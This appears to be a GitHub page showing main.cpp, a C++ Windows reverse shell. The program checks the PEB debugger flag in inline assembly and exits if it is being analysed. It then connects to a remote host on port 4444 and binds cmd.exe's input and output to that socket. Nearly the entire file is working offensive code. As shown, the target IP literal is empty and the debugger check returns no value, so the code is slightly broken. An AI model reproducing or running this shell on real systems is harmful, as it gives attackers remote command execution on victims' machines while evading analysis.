-
Notifications
You must be signed in to change notification settings - Fork 9
Expand file tree
/
Copy pathmain.cpp
More file actions
101 lines (82 loc) · 2 KB
/
main.cpp
File metadata and controls
101 lines (82 loc) · 2 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#include <iostream>
#include <winsock2.h>
#include "windows.h"
#include "iostream"
bool presentDebugger( ){
asm(
"movl $0x30,%ebx\n\t"
"movl %fs:(%ebx), %eax\n\t"
"movl 0x2(%eax),%eax\n\t"
"and $0xff, %eax"
);
}
/*
REVERSE_SHELL_CPP
*/
using namespace std;
/* run this program using the console pauser or add your own getch, system("pause") or input loop */
int main(int argc, char** argv) {
/*
# for fun
*/
if( presentDebugger( ) || argc <= 1 ){
ExitProcess(0);
}
char * ip;
STARTUPINFO si={sizeof(si)};
PROCESS_INFORMATION pi;
SOCKET sock;
SOCKADDR_IN sin;
WSADATA wsd;
ip = argv[1];
memset( &pi, 0, sizeof(pi) );
memset( &wsd, 0, sizeof(wsd) );
WSAStartup( MAKEWORD(2,2), &wsd );
/*
# WSASocketA
*/
if( (sock= WSASocketA( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 )) == INVALID_SOCKET ){
cout << "[-] cannot create wsaSocket" << endl;
return 1;
}
sin.sin_family = AF_INET;
sin.sin_port = htons(4444);
sin.sin_addr.s_addr = inet_addr( "" );
printf("[+] Socket created\r\n" );
printf("[+] connect on 0x%08x \r\n", sin.sin_addr.s_addr );
printf("[+] listen on %i \r\n", sin.sin_port );
if( WSAConnect( sock, (SOCKADDR*)&sin, sizeof(sin), NULL, NULL, (unsigned int)NULL, (unsigned int)NULL ) == SOCKET_ERROR ){
printf("[-] Connection failed");
WSACleanup();
return 1;
}
memset( &si, 0, sizeof(si) );
si.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
si.cb = sizeof(si);
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;
/*
# Create Process
*/
if( !CreateProcess(
NULL,
(LPSTR)"cmd.exe",
NULL,
NULL,
true,
0,
NULL,
NULL,
&si, &pi
) ){
cout << "[- ] cannot create cmd process" << endl;
WSACleanup( );
}
printf("[+] Handle process - 0x%08x <%i>\r\n", pi.hProcess, pi.hProcess );
printf("[+] process - 0x%08x <%i>\r\n", pi.dwProcessId, pi.dwProcessId );
WaitForSingleObject( pi.hProcess, INFINITE );
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
WSACleanup();
system("pause");
return 0;
}